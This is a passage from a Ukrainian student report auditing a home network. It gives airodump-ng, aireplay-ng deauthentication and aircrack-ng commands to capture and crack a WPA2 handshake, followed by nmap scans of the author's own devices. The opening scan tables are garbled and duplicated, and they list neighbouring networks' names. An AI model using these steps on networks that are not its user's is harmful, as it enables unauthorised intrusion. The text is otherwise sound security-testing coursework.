-36 69 1 0 7 54e WPA2 CCMP PSK Internet=2100_1 -48 39 3 0 1 270 WPA2 CCMP PSK TP-LINK_AD06 -68 66 0 0 10 360 WPA2 CCMP PSK clength: 0> -68 54 1 0 10 360 WPA2 CCMP PSK skipor -68 54 1 0 10 360 WPA2 CCMP PSK skipor -68 25 3 0 2 70 WPA2 CCMP PSK Mamayd -75 74 0 0 1 30 WPA2 CCMP PSK Atlantida_EXT -78 42 0 0 1 270 WPA2 CCMP PSK Itantida_EXT -78 42 0 0 1 270 WPA2 CCMP PSK Itantida_EXT -81 37 1 0 2 270 WPA2<	-36 69 1 0 7 54e WPA2 CCMP PSK Internet-2100_1 -48 39 3 0 1 270 WPA2 CCMP PSK TP-LINK_AD06 -68 66 0 0 10 360 WPA2 CCMP PSK clength: 0> -68 54 1 0 10 360 WPA2 CCMP PSK skipor -68 25 3 0 2 270 WPA2 CCMP PSK Mamayd -75 74 0 1 130 WPA2 CCMP PSK atlantida_EXT -78 42 0 0 1 270 WPA2 CCMP PSK ftp:Link_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK ft:Inia -82 36 0 10 270 WPA2 CCMP PSK stinitia_EXT -83 24 0 8 130 WPA2 CCMP PSK minitia_EXT -83 24 0 8 130 WPA2 CCM	BSSID	PWR	Beacons	#Data,	#/s	СН	мв	ENC	CIPHER	AUTH	ESSID	
-48 39 3 0 1 270 WPA2 CCMP PSK TP-LINK_AD06 -68 66 0 0 10 360 WPA2 CCMP PSK	-48 39 3 0 1 270 WPA2 CCMP PSK TP-LINK_AD06 -68 66 0 10 360 WPA2 CCMP PSK <length: 0=""> -68 54 1 0 10 360 WPA2 CCMP PSK <length: 0=""> -68 25 3 0 2 270 WPA2 CCMP PSK ASU5_10 -75 74 0 0 1 130 WPA2 CCMP PSK ASU5_10 -80 58 3 0 6 270 WPA2 CCMP PSK ASU5_10 -80 58 3 0 6 270 WPA2 CCMP PSK ASU5_10 -81 7 0 0 1 270 WPA2 CCMP PSK TP-Link_EEE2 -81 37 1 0 2 270 WPA2 CCMP PSK Inital -82 36 0 6 270 WPA2 CCMP PSK stentistal -83 24 0 8 130 WPA2 CCM</length:></length:>		-36	69	1	0	7	54e	WPA2	COMP	PSK	Internet-2100_1	
-68 66 0 0 10 360 WPA2 CCMP PSK <length: 0=""> -68 54 1 0 10 360 WPA2 CCMP PSK Skipor -68 54 1 0 10 360 WPA2 CCMP PSK Skipor -68 25 3 0 2 270 WPA2 CCMP PSK Mamayd -75 74 0 0 1 130 WPA2 CCMP PSK Atlantida_EXT -78 42 0 0 9 270 WPA2 CCMP PSK Atlantida_EXT -78 42 0 0 1 270 WPA2 CCMP PSK Atlantida_EXT -81 7 0 0 1 270 WPA2 CCMP PSK Italntida_EXT -81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 6 270 WPA2 CCMP<!--</td--><td>-68 66 0 0 10 360 WPA2 CCMP PSK <length: 0=""> -68 54 1 0 10 360 WPA2 CCMP PSK Skipor -68 25 3 0 2 270 WPA2 CCMP PSK Mamayd -75 74 0 0 1 130 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK Astlantida_EXT -78 42 0 0 9 270 WPA2 CCMP PSK Astlantida_EXT -81 7 0 0 1 270 WPA2 CCMP PSK Italnida_EXT -81 37 1 0 2 270 WPA2 CCMP PSK italnida -82 36 0 6 270 WPA2 CCMP PSK Artist -82 29 0 6 270</length:></td><td></td><td>-48</td><td>39</td><td>3</td><td>0</td><td>1</td><td>270</td><td>WPA2</td><td>CCMP</td><td>PSK</td><td>TP-LINK_AD06</td><td>Í.</td></length:>	-68 66 0 0 10 360 WPA2 CCMP PSK <length: 0=""> -68 54 1 0 10 360 WPA2 CCMP PSK Skipor -68 25 3 0 2 270 WPA2 CCMP PSK Mamayd -75 74 0 0 1 130 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK Astlantida_EXT -78 42 0 0 9 270 WPA2 CCMP PSK Astlantida_EXT -81 7 0 0 1 270 WPA2 CCMP PSK Italnida_EXT -81 37 1 0 2 270 WPA2 CCMP PSK italnida -82 36 0 6 270 WPA2 CCMP PSK Artist -82 29 0 6 270</length:>		-48	39	3	0	1	270	WPA2	CCMP	PSK	TP-LINK_AD06	Í.
-68 54 1 0 10 360 WPA2 CCMP PSK Skipor -68 25 3 0 2 270 WPA2 CCMP PSK Mamayd -75 74 0 0 1 130 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK ASUS_10 -78 42 0 0 9 270 WPA2 CCMP PSK Trina -81 7 0 0 1 270 WPA2 CCMP PSK Irina -82 36 0 0 12 270 WPA2 CCMP PSK Irina -83 24 0 0 8 130 WPA2 CCMP PSK Artist -82 8 0 6 270 WPA2 CCMP PSK Artist -82 29 0 6 70 WPA2 CCMP PSK Artist	-68 54 1 0 10 360 WPA2 CCMP PSK Skipor -68 25 3 0 2 270 WPA2 CCMP PSK Mamayd -75 74 0 0 1 130 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK atlantida_EXT -78 42 0 0 9 270 WPA2 CCMP PSK Trina -81 7 0 0 1 270 WPA2 CCMP PSK Irrina -82 36 0 10 270 WPA2 CCMP PSK Irrina -83 24 0 0 8 130 WPA2 CCMP PSK Sweet_glow -82 8 0 6 270 WPA2 CCMP PSK Artist -82 29 0 6 270 WPA2 CCMP PSK Artist		-68	66	0	0	10	360	WPA2	CCMP	PSK	<length: 0=""></length:>	
-68 25 3 0 2 270 WPA2 CCMP PSK Mamayd -75 74 0 0 1 130 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK Aslantida_EXT -78 42 0 0 1 270 WPA2 CCMP PSK TP-Link_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK Trina -82 36 0 1 270 WPA2 CCMP PSK Dima171 -83 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK set_glow -82 29 0 6 270 WPA2 CCMP PSK Atlintida -82 29 0 6 270 WPA2 CCMP PSK Atlintida	-68 25 3 0 2 270 WPA2 CCMP PSK Mamayd -75 74 0 0 1 130 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK ASUS_10 -78 42 0 0 9 270 WPA2 CCMP PSK Trlink_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK Irrina -82 36 0 10 270 WPA2 CCMP PSK entuz5441 -81 37 1 0 2 270 WPA2 CCMP PSK swet_glow -82 36 0 6 270 WPA2 CCMP PSK swet_glow -83 24 0 0 8 130 WPA2 CCMP PSK swet_glow -82 8 0 6 270 WPA2 CCMP PSK atlantida -82 29 0 7 270 WPA2 CCMP PSK		-68	54	1	0	10	360	WPA2	CCMP	PSK	Skipor	
-75 74 0 0 1 130 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK atlantida_EXT -78 42 0 0 9 270 WPA2 CCMP PSK TLink_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK Trina -82 36 0 10 270 WPA2 CCMP PSK Dimat71 -81 37 1 0 2 270 WPA2 CCMP PSK Dimat71 -83 24 0 8 130 WPA2 CCMP PSK Artist -84 6 0 6 270 WPA2 CCMP PSK Artist -85 21 2 0 6 405 WPA2 CCMP PSK Atlantida -84 60 0 3 270 WPA2 CCMP PSK Atlantida	-75 74 0 0 1 130 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK atlantida_EXT -78 42 0 0 9 270 WPA2 CCMP PSK TP-Link_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK Irina -82 36 0 0 10 270 WPA2 CCMP PSK inia -81 37 1 0 2 270 WPA2 CCMP PSK inia -83 24 0 0 8 130 WPA2 CCMP PSK setet_glow -82 8 0 6 270 WPA2 CCMP PSK atlantida -82 29 0 7 270 WPA2 CCMP PSK atlantida -84 60 0 3 270 WPA2 CCMP PSK netis_2.46 -84 20 0 6 270 WPA2 CCMP PSK		-68	25	3	0	2	270	WPA2	COMP	PSK	Mamayd	
-80 58 3 0 6 270 WPA2 CCMP PSK atlantida_EXT -78 42 0 0 9 270 WPA2 CCMP PSK TP-Link_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK Trina -82 36 0 10 270 WPA2 CCMP PSK Inita -81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 8 130 WPA2 CCMP PSK sweet_glow -82 8 0 6 270 WPA2 CCMP PSK Artist -82 29 0 6 270 WPA2 CCMP PSK Artist -82 29 0 6 270 WPA2 CCMP PSK Attist -85 21 2 0 6 405 WPA2 CCMP PSK Attist -84	-80 58 3 0 6 270 WPA2 CCMP PSK atlantida_EXT -78 42 0 0 9 270 WPA2 CCMP PSK TP-Link_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK Trina -82 36 0 1 270 WPA2 CCMP PSK entuz5441 -81 37 1 0 2 270 WPA2 CCMP PSK bima171 -83 24 0 0 8 130 WPA2 CCMP PSK sweet_glow -82 8 0 6 270 WPA2 CCMP PSK Artist -82 29 0 6 270 WPA2 CCMP PSK Attist -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK Atlantida		-75	74	0	0	1	130	WPA2	CCMP	PSK	ASUS_10	
-78 42 0 0 9 270 WPA2 CCMP PSK TP-Link_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK Irina -82 36 0 0 10 270 WPA2 CCMP PSK Irina -81 37 1 0 2 270 WPA2 CCMP PSK Inina -83 24 0 0 8 130 WPA2 CCMP PSK Sweet_glow -82 8 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 70 WPA2 CCMP PSK Artist -82 29 0 0 70 WPA2 CCMP PSK Artist -85 21 2 0 6 405 WPA2 CCMP PSK Atlantida -84 60 0 0 3 270 WPA2 CCMP PSK netis_2.46	-78 42 0 0 9 270 WPA2 CCMP PSK TP-Link_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK Irina -82 36 0 0 1 270 WPA2 CCMP PSK entuz5441 -81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK sweet_glow -82 8 0 6 270 WPA2 CCMP PSK Artist -82 29 0 6 270 WPA2 CCMP PSK atlantida -82 29 0 6 270 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK 487 -84 22 0 6 270 WPA2 CCMP PSK 487 -85 31 8 0 3 130 WPA2 CCMP PSK c		-80	58	3	0	6	270	WPA2	CCMP	PSK	atlantida_EXT	
-81 7 0 0 1 270 WPA2 CCMP PSK Irina -82 36 0 0 10 270 WPA2 CCMP PSK entuz5441 -81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK Swet_glow -82 8 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -82 29 0 0 7 270 WPA2 CCMP PSK Attast -84 02 0 6 270 WPA2 CCMP PSK 487 </td <td>-81 7 0 0 1 270 WPA2 CCMP PSK Irina -82 36 0 0 10 270 WPA2 CCMP PSK entuz5441 -81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK sweet_glow -82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -84 60 0 3 270 WPA2 CCMP PSK Attantida -84 22 0 6 270 WPA2 CCMP PSK Attantida -85 31 8 0 3 130 WPA2 CCMP<</td> <td></td> <td>-78</td> <td>42</td> <td>0</td> <td>0</td> <td>9</td> <td>270</td> <td>WPA2</td> <td>CCMP</td> <td>PSK</td> <td>TP-Link_EEE2</td> <td></td>	-81 7 0 0 1 270 WPA2 CCMP PSK Irina -82 36 0 0 10 270 WPA2 CCMP PSK entuz5441 -81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK sweet_glow -82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -84 60 0 3 270 WPA2 CCMP PSK Attantida -84 22 0 6 270 WPA2 CCMP PSK Attantida -85 31 8 0 3 130 WPA2 CCMP<		-78	42	0	0	9	270	WPA2	CCMP	PSK	TP-Link_EEE2	
-82 36 0 0 10 270 WPA2 CCMP PSK entuz5441 -81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK Sweet_glow -82 8 0 6 270 WPA2 CCMP PSK TOTOLINK_N300RT -82 29 0 6 7270 WPA2 CCMP PSK atlantida -84 60 0 3 270 WPA2 CCMP PSK Atlantida -84 60 0 3 270 WPA2 CCMP PSK Atlantida -84 60 0 3 130 WPA2 CCMP PSK Atlantida -85 31 8 0 3 130 WPA2 CCMP PSK Atlantida	-82 36 0 0 10 270 WPA2 CCMP PSK entuz5441 -81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK Sweet_glow -82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 7 270 WPA2 CCMP PSK TOTOLINK_N300RT -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 9 3 270 WPA2 CCMP PSK datatida -84 22 0 6 270 WPA2 CCMP PSK datatida -85 31 8 0 3 130 WPA2 CCMP PSK dentis_2.4G -85 33 8 0 3 130 WPA2 CCMP PSK stents_2.4G -85 33 8 3 130 <td></td> <td>-81</td> <td>7</td> <td>0</td> <td>0</td> <td>1</td> <td>270</td> <td>WPA2</td> <td>COMP</td> <td>PSK</td> <td>Irina</td> <td></td>		-81	7	0	0	1	270	WPA2	COMP	PSK	Irina	
-81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK sweet_glow -82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 29 0 7 270 WPA2 CCMP PSK Artist -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK talantida -84 60 0 0 3 270 WPA2 CCMP PSK talantida -84 60 0 0 3 130 WPA2 CCMP PSK talantida -85 31 8 0 3 130 WPA2 CCMP PSK tength: 30> -85 33 8 0 3 130 WPA2 CCMP P	-81 37 1 0 2 270 WPA2 CCMP PSK Dima171 -83 24 0 0 8 130 WPA2 CCMP PSK sweet_glow -82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 7 270 WPA2 CCMP PSK Attist -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK netis_2.4G -85 31 8 0 3 130 WPA2 CCMP PSK clength: 30> -85 33 8 0 3 130 WPA2 CCMP PSK Serega -85 17 0 6 270 WPA2 CCMP PSK Serega -85 17 0 6 270 WPA2 C		-82	36	0	0	10	270	WPA2	CCMP	PSK	entuz5441	
-83 24 0 0 8 130 WPA2 CCMP PSK sweet_glow -82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 70 WPA2 CCMP PSK Artist -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK Atlantida -84 60 0 0 3 270 WPA2 CCMP PSK Atlantida -84 531 8 0 3 130 WPA2 CCMP PSK setis_2.4G -85 33 8 0 3 130 WPA2 CCMP PSK setis_2.4G -85 33 8 0 3 130 WPA2 CCMP PSK setesgaa -85 17 0 0 6 270 WPA2 CCMP	-83 24 0 0 8 130 WPA2 CCMP PSK sweet_glow -82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 7 270 WPA2 CCMP PSK Artist -82 29 0 0 7 270 WPA2 CCMP PSK Artist -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK Attist -84 22 0 0 6 270 WPA2 CCMP PSK Attist -84 31 8 0 3 130 WPA2 CCMP PSK clength: 30> -85 31 8 0 3 130 WPA2 CCMP PSK Stenga -85 13 8 0 3 130 WPA2 CCMP		-81	37	1	0	2	270	WPA2	CCMP	PSK	Dima171	
-82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 7 270 WPA2 CCMP PSK TOTOLINK_N300RT -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 22 0 0 3 270 WPA2 CCMP PSK atlantida -84 22 0 0 6 270 WPA2 CCMP PSK netis_2.46 -85 31 8 0 3 130 WPA2 CCMP PSK clength: 30> -85 33 8 0 3 130 WPA2 CCMP PSK serega -85 17 0 0 6 270 WPA2 CCMP PSK Atlinka -86 50 0 8 135 WPA2 CCMP PSK netis_752287	-82 8 0 0 6 270 WPA2 CCMP PSK Artist -82 29 0 0 7 270 WPA2 CCMP PSK TOTOLINK_N300RT -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 3 270 WPA2 CCMP PSK 487 -84 22 0 0 6 270 WPA2 CCMP PSK netis_2.4G -85 31 8 0 3 130 WPA2 CCMP PSK clength: 30> -85 33 8 0 3 130 WPA2 CCMP PSK clength: 30> -85 33 8 0 3 130 WPA2 CCMP PSK serega -85 17 0 0 270 WPA2 CCMP PSK Alinka -86 50 0 8 135 WPA2 CCMP PSK netis_752287<		-83	24	0	0	8	130	WPA2	CCMP	PSK	sweet_glow	
-82 29 0 0 7 270 WPA2 CCMP PSK TOTOLINK_N300RT -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK 487 -84 22 0 6 6 270 WPA2 CCMP PSK 487 -85 31 8 0 3 130 WPA2 CCMP PSK clength: 30> -85 33 8 0 3 130 WPA2 CCMP PSK serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 0 8 135 WPA2 CCMP PSK netis_752287	-82 29 0 0 7 270 WPA2 CCMP PSK TOTOLINK_N300RT -85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK atlantida -84 22 0 0 6 270 WPA2 CCMP PSK netis_2.4G -85 31 8 0 3 130 WPA2 CCMP PSK clength: 30> -85 33 8 0 3 130 WPA2 CCMP PSK serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 8 135 WPA2 CCMP PSK netis_752287		-82	8	0	0	6	270	WPA2	CCMP	PSK	Artist	
-85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 3 270 WPA2 CCMP PSK 487 -84 60 0 6 270 WPA2 CCMP PSK 487 -84 22 0 0 6 270 WPA2 CCMP PSK netis_2.4G -85 31 8 0 3 130 WPA2 CCMP PSK netis_2.4G -85 33 8 0 3 130 WPA2 CCMP PSK stength: 30> -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 0 8 135 WPA2 CCMP PSK netis_752287	-85 21 2 0 6 405 WPA2 CCMP PSK atlantida -84 60 0 0 3 270 WPA2 CCMP PSK 487 -84 22 0 0 6 270 WPA2 CCMP PSK 487 -85 31 8 0 3 130 WPA2 CCMP PSK clength: 30> -85 33 8 0 3 130 WPA2 CCMP PSK scenga -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 8 135 WPA2 CCMP PSK netis_752287		-82	29	0	0	7	270	WPA2	CCMP	PSK	TOTOLINK_N300RT	i i
-84 60 0 0 3 270 WPA2 CCMP PSK 487 -84 22 0 0 6 270 WPA2 CCMP PSK netis_2.4G -85 31 8 0 3 130 WPA2 CCMP PSK netis_2.4G -85 33 8 0 3 130 WPA2 CCMP PSK serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 8 135 WPA2 CCMP PSK netis_752287	-84 60 0 0 3 270 WPA2 CCMP PSK 487 -84 22 0 0 6 270 WPA2 CCMP PSK netis_2.4G -85 31 8 0 3 130 WPA2 CCMP PSK clength: 30> -85 33 8 0 3 130 WPA2 CCMP PSK Serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 8 135 WPA2 CCMP PSK netis_752287		-85	21	2	0	6	405	WPA2	CCMP	PSK	atlantida	
-84 22 0 0 6 270 WPA2 CCMP PSK netis_2.4G -85 31 8 0 3 130 WPA2 CCMP PSK <length: 30=""> -85 33 8 0 3 130 WPA2 CCMP PSK <length: 30=""> -85 33 8 0 3 130 WPA2 CCMP PSK Serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 8 135 WPA2 CCMP PSK netis_752287</length:></length:>	-84 22 0 0 6 270 WPA2 CCMP PSK netis_2.4G -85 31 8 0 3 130 WPA2 CCMP PSK <length: 30=""> -85 33 8 0 3 130 WPA2 CCMP PSK <length: 30=""> -85 33 8 0 3 130 WPA2 CCMP PSK serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 8 135 WPA2 CCMP PSK netis_752287</length:></length:>		-84	60	0	0	3	270	WPA2	CCMP	PSK	487	
-85 31 8 0 3 130 WPA2 CCMP PSK <length: 30=""> -85 33 8 0 3 130 WPA2 CCMP PSK Serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 8 135 WPA2 CCMP PSK netis_752287</length:>	-85 31 8 0 3 130 WPA2 CCMP PSK <length: 30=""> -85 33 8 0 3 130 WPA2 CCMP PSK Serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 0 8 135 WPA2 CCMP PSK netis_752287</length:>		-84	22	0	0	6	270	WPA2	CCMP	PSK	netis_2.4G	
-85 33 8 0 3 130 WPA2 CCMP PSK Serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 0 8 135 WPA2 CCMP PSK netis_752287	-85 33 8 0 3 130 WPA2 CCMP PSK Serega -85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 0 8 135 WPA2 CCMP PSK netis_752287		-85	31	8	0	3	130	WPA2	CCMP	PSK	<length: 30=""></length:>	
-85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 0 8 135 WPA2 CCMP PSK netis_752287	-85 17 0 0 6 270 WPA2 CCMP PSK Alinka -86 50 0 0 8 135 WPA2 CCMP PSK netis_752287		-85	33	8	0	3	130	WPA2	CCMP	PSK	Serega	
-86 50 0 0 8 135 WPA2 CCMP PSK netis_752287	-86 50 0 0 8 135 WPA2 CCMP PSK netis_752287		-85	17	0	0	6	270	WPA2	CCMP	PSK	Alinka	
			-86	50	0	0	8	135	WPA2	COMP	PSK	netis_752287	

Рисунок 3.11. Процес сканування мереж

Командою airodump-ng –bssid {MAC-adpeca} –channel 7 –w /home/kalli/ wlan0mon скануємо конкретну мережу, з конкретною MAC-адресою основного шлюзу та його каналом. В даному випадку використовується 7 канал. Зберігатися дана інформація буде в каталозі kalli.

При цьому скануванні потрібно захопити handshake. Можна очікувати, поки хтось підключиться до необхідної мережі, або ж скористатися командою *aireplay-ng –deauth 20 –a {MAC шлюзу} –c {MAC вузла} wlan0mon* для примусового припинення обслуговування MAC-адреси конкретного вузла. Як показано на рис. 3.12, коли вузол підключився до мережі заново – ми отримали WPA handshake.

			kalli@kali:~			- 1	×
Файл Дія	Редагувати Вигляд	Допомога					
СН 7][Е	[lapsed: 1 min][2024-	05-28 14:5	5][WPA handsha	ke: CC:B2:??????	??:??		
BSSID	PWR RXQ Beac	ons #Da	ta, #/s CH MB	ENC CIPHER AUTH	I ESSID		
CC:B2:55:F	E:04:18 -33 100	996 22	18 0 7 54e	WPA2 CCMP PSK	Internet-2100_1		
BSSID	STATION	PWR	Rate Lost	Frames Probe			
CC:82 CC:82		:40 -29 :9A -48	48e-24 0 6e-24 0	1973 409			

Рисунок 3.12. Отримання WPA handshake

Тепер файл з отриманим рукостисканням, записаний в форматі .cap потрібно очистити, залишивши в ньому лише чистий handshake. Це дасть змогу швидше отримати дешифрований пароль. Ось приклад команди очищення handshake:

Wpaclean /home/kalli/clean_hand /home/kalli/mywifi-01.cap

3.4.2. Розкриття прихованої інформації

Збереження безпеки інформації та особистих даних в цифровому сучасному світі стає дедалі важливішим завданням. Використання унікальних та складних паролів є однією з найефективніших стратегій захисту.

Є такі найбільш відомі техніки зламу паролів: перебір паролів методом словника, перебір паролів методом грубої сили (bruteforce). У випадку перебору за допомогою словника є змога розгадати пароль лише, якщо він є в словнику. Спеціалізовані словники містять широкий спектр слів, фраз та поєднань. Щодо атаки bruteforce, - вона дає змогу розгадати пароль в будьякому випадку. Це лише питання часу. Здійснюється методом перебору всеможливих комбінацій даних.

Перевіримо пароль домашньої бездротової мережі на вразливість та визначимо, наскільки легко потенційний зловмисник може його розгадати.

Спершу спробуємо отримати пароль Wi-Fi за допомогою перебору за допомогою словника. Було обрано словник darkc0de.lst. Aircrack-ng –w /home/kalli/darkc0de.lst –b {MAC шлюза} /home/kalli/clean_hand.cap



Рисунок 3.13. Результат перебору словником darkc0de.lst

Як видно з рис. 3.13 – ключ не був знайдений.

Спробуємо тепер отримати пароль Wi-Fi за допомогою словника rockyou.txt, який налічує 9 млн слів. Для запуску перебору скористаємось командою:

Aircrack-ng —w /usr/share/wordlists/rockyou.txt —b {MAC шлюза} /home/kalli/clean_hand.cap



Рисунок 3.14. Результат перебору словником rockyou.txt

3 рис. 3.14 можна зробити висновок, що за допомогою словників буде складно розгадати пароль домашнього Wi-Fi.

Потрібно переходити до методів перебору паролів методом грубої сили або додати до словника правильний варіант відповіді.

Так, як це наша домашня мережа, додамо до переліку паролів в словник правильну відповідь для нашого Wi-Fi. Перевіримо, чи буде знайдено вірний пароль.

	kali@kali: ~	0 0 8
File Actions Edit Vie	ew Help	
kali@kali:~ × kali@	@kali:~ ×	
	Aircrack-ng 1.7	
[00:00:00] 4/16	5 keys tested (370.82 k/s)	
Time left: Ø se	econds 50.00%	
	KEY FOUND!	
Master Key	: 55 05 E3 BD 3F 39 E7 9C 72 B2 EE 63 7E FF D4 2E 88 34 69 49 0B 9E E8 9C 2E A9 FF C2 81 46 B4 D0	
Transient Key	: B9 B8 C0 11 BD CE AB 88 2A 4D 76 42 82 7D 3F 3C 18 98 54 54 D3 48 1A B0 D4 2D 48 55 FA C3 DF 1B	
	E8 42 60 F0 8D 04 6E D8 8F D6 00 00 00 00 00 00 00 00 00 00 00 00 00	
EAPOL HMAC	: D7 66 59 06 F2 0A 1E 68 CD EC 38 C1 DF 10 4F 9D	

Рисунок 3.15. Знайдений пароль Wi-Fi домашньої мережі.

Як видно з рис.3.15, було знайдено вірний пароль.

3.5. Сканування мережі за допомогою NMAP

За допомогою утиліти птар визначимо кількість пристроїв в системі, відкриті порти на цих пристроях та відповідні їм служби, оцінимо врізливості мережі.

Сканування портів - це можливість визначити, - є порт «відкритим» або «закритим». Якщо порт відкритий - він може приймати з'єднання, а якщо закритий - не може. [17] Є ще одна можлива відповідь порту – «не відповів». Це може означати, що на цільовому пристрої працює МЕ.

Для дослідження використовується файл targ.exe, в який ми впишемо цільові IP-адреси домашньої мережі, які будемо перевіряти. В даному файлі містяться наступні IP-адреси:

- 192.168.0.1 маршрутизатор;
- 192.168.0.59 смартфон (iOS)
- 192.168.0.32 I-Pad (iOS)
- 192.168.0.34 ноутбук
- 192.168.0.75 ТВ смарт-приставка Chromecast

Тестуємо кількість пристроїв, які є в мережі:

nmap -sN -T4 -oG Discovery.gnmap -iL /home/kali/targ

- Starting Nmap 7.94SVN (https://nmap.org) at 2024-06-03 21:39 EEST
- Stats: 0:02:23 elapsed; 95 hosts completed (5 up), 5 undergoing NULL Scan
- NULL Scan Timing: About 86.49% done; ETC: 21:41 (0:00:22 remaining)

Як бачимо з відповіді, 5 пристроїв відповіли.

Проведемо тестування за протоколом ТСР:

sudo nmap -sS -v -T4 -oG TopTCP -iL /home/kali/targ

Отримаємо відповідь для маршрутизатора:

PORT STATE SERVICE

23/tcp open telnet

53/tcp open domain

80/tcp open http

8888/tcp open sun-answerbook

MAC Address: &&&&& (D-Link International)

Відповідь для Chromecast:

Nmap scan report for Chromecast-HD.Dlink (192.168.0.75)

Host is up (0.023s latency).

Not shown: 994 closed tcp ports (reset)

PORT STATE SERVICE

8008/tcp open http

8009/tcp open ajp13

8443/tcp open https-alt

9000/tcp open cslistener

9080/tcp open glrpc

10001/tcp open scp-config

MAC Address: &&&&& (Unknown)

Згідно вище наведених даних, ми бачимо, які порти у вказаних пристроях є відкритими. А отже, за цими портами може бути виконана атака. sudo nmap -sV -v -T4 -Pn -oG ServiceDetect -iL /home/kali/targ

Результат:

Discovered open port 62078/tcp on 192.168.0.32 Discovered open port 49153/tcp on 192.168.0.32 Warning: 192.168.0.32 giving up on port because retransmission cap hit (6).

Можемо побачити, що у I-Pad наведена інформація по двох відкритих портах.

Досліджуємо ОС на пристроях:

sudo nmap -O -v -T4 -Pn -oG OSDetect -iL /home/kali/targ

Бачимо по смартфону інформацію про відкриті два порти:

Discovered open port 49152/tcp on 192.168.0.59

Discovered open port 62078/tcp on 192.168.0.59

Дані по скануванню роутера, Chromecast наведені в Додатку Б, В.

Для маршрутизатора було отримано інформацію про ОС, для Chromecast – ні.

